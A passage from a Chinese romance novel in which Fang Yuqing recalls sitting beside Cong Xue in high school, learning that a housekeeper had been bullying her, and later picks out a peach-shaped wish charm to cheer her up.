耿路辉彻底确凿了心中的猜测。
自那之后,再提到丛雪,他的心态就完全变了,再也不是普通同学似的平和,反而带上了点……景仰。
“其实吧,我以前就觉得,你对丛雪挺照顾的。”
“我?”方屿青像是听到一桩稀奇事。
“对啊,高中的时候,你不还亲自挑了她给你当同桌嘛?”
“那是我妈交待的。”方屿青一耸肩,语气平淡,“说她刚转学过来,人生地不熟,让我在学校里照应着点。”
方屿青说得很随意,像是在解释一件无关紧要的小事,可回忆的碎片却不受控制地从记忆深处翻涌而出。
确实是他挑选的同桌。
可选中她的理由,不全是因为妈妈的嘱托。
“话说,你那时候可真够忙的。”耿路辉搓着下巴回忆往昔,“什么这个那个竞赛,篮球赛,医学社的社团活动……总之就是整天脚不沾地,找你吃饭都得从老师手里抢时间。”
方屿青“唔”了一声,目光有些轻,飘向远处郁郁葱葱的山头。
他记得,那个时候的丛雪很安静,沉默得几乎没什么存在感。她坐在他身边,倒像是多了一张屏障,能隔绝外界的许多喧嚣。
对方屿青来说,那种寂静,是一种难得的喘息。
从高二开始,他们一直都是同桌,却并没有因此变得熟悉。
他很忙,宋恩让和耿路辉又天天围在边上,几乎填满了他仅有的空闲时间,让他没太多功夫搭理不熟悉的人,包括丛雪。
耿路辉的话还没说完:“但是啊,后来发生的一桩事,让我觉得,你对丛雪不仅仅是照应一下那么简单。你还记得,你外婆留下了一个老保姆,叫毛姐的么
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?”
方屿青微微皱起眉,露出回忆的神色:“是有这么个人。”
“那个毛姐,被你发现私下里竟然敢欺负丛雪!于是乎,你就安排她提前退休了,导致曾阿姨后来一直没找到得力的人。这几年,你家的保姆总是在换。”
“……”
方屿青依稀记得有这么一回事。
有一天,丛雪来上学的时候,粗黑的马尾不见了,取而代之的是剪得参差不齐的短发,垂在耳朵上,一看就是她自己剪的。
后桌的女生先瞧见了,扑哧一声笑起来,其他同学也注意到了,纷纷笑成一片,说这头发像是狗牙啃出来的,也忒先锋忒艺术了。
丛雪捂着头发,默默将头埋了下去。
方屿青转头看她一眼,随口问:“我妈没给你钱理发?”
彼时他正在解一道数学综合题,心不在焉地问了一嘴,没想到,丛雪却像是被点了穴一样,脸一下子红透了。
她忙不迭摇头:“没有,我是自己想剪的……怕头发太长,耽误学习。”
方屿青的心思全在题目上,没觉得有什么不对,或许有的女生就爱好亲自动手吧。
他胳膊伸进桌洞,掏出一个棒球帽丢了过去。
“借你。”他眼睛盯着卷子,随口说。
那之后没几天,方屿青有次白天翘课回家,溜进他爸的书房,翻找一本典藏版旧书。
书房的门开着,方屿青弯着腰,没人注意到他在。
门外走廊上,毛姐一边打扫、一边正和什么人打电话。
“哎呦,女孩子掉头发真的好烦喔!粘在地毯上都吸不掉的。”
“听说是菜场里面长大的,那种市井地方能养出什么好姑娘?唉,太太到底是哪根筋搭错了,竟然会带这种人回家来。”
“我不过就是说了她两句,谁知道,她居然偷偷把头发剪掉了,是生怕太太不问是不是?”
“放心嘞!她要是敢讲出去,我有好果子给她吃!”
……
方屿青站在书房里,有点说不清那一刻到底是什么感受。
硬要说的话,大概是从一条偶然撕开的缝隙里,窥到了一点点丛雪努力遮掩的、他完全没有经历过的生活。
她虽然住在这个家里,却更像是一位透明的客人,不敢留下太多痕迹。
他们明明住在同一层楼,他却从没有听到过她的脚步声。
每天在同一张餐桌上吃饭,方屿青却有点想不起来,丛雪吃饭的时候是什么神情,她平时喜欢吃什么,不喜欢吃什么。
连被家里的佣人刁难,她都不敢说出口,生怕给主人家添麻烦。
方屿青记得,刚见面那天,他曾经让她放学先走。可是后来,不知道从哪天起,丛雪离校的时间也越来越晚。
有好几次,他才出汇知楼,远远就看见她背着书包站在布告栏底下,垂着头,默默盯着自己的鞋尖,似乎在发呆。
她就像是那种不需要什么照顾就能存活的植物,一点点阳光,一点点水分,就可以在角落里悄然生长。
方屿青还记得,有一年冬天,他在学校的图书馆里自习,忘记了时间。傍晚的时候,天色忽然变得昏沉,接着就下起了大雪。
南城很少下雪。
他披着雪花走出校门的时候,看见一道纤瘦的身影站在路灯下,仰着头,脸上带着一点新奇的笑意,正原地转着圈圈,用鞋尖去接落下来的雪花。
丛雪的头发稍稍长长了一些,已经不再显得可笑。那顶棒球帽,他后来没有收回来,却也没再见她戴过。
此刻,她校服外面罩着一件深灰色羽绒服,几乎融进夜色里。嘴里念念有词,一边接着雪花,一边在背诵一篇英文选段。
那一瞬间,方屿青心中冒出一道猜测:她是不是一直在等我?
不知道为什么,在这样宁静的时刻,他那运转了一整天的大脑竟短暂地停歇下来,眼前闪过一幅画面:这个连开心都很安静的小姑娘正站在镜子前,手里拿着剪刀,动作生涩而迟缓,一撮一撮剪掉了陪伴了自己多年的长发……
那个时候,她有没有哭过?
……
窗口里传来的问询声将方屿青从回忆里唤醒。
“您好,请问您要哪款许愿福袋?”
方屿青抬起眼,目光扫过柜台里一众五彩斑斓的挂件,最后停在那颗圆润饱满的桃子身上。
她最近似乎变得更爱哭了点,得想个办法讨她欢心才行。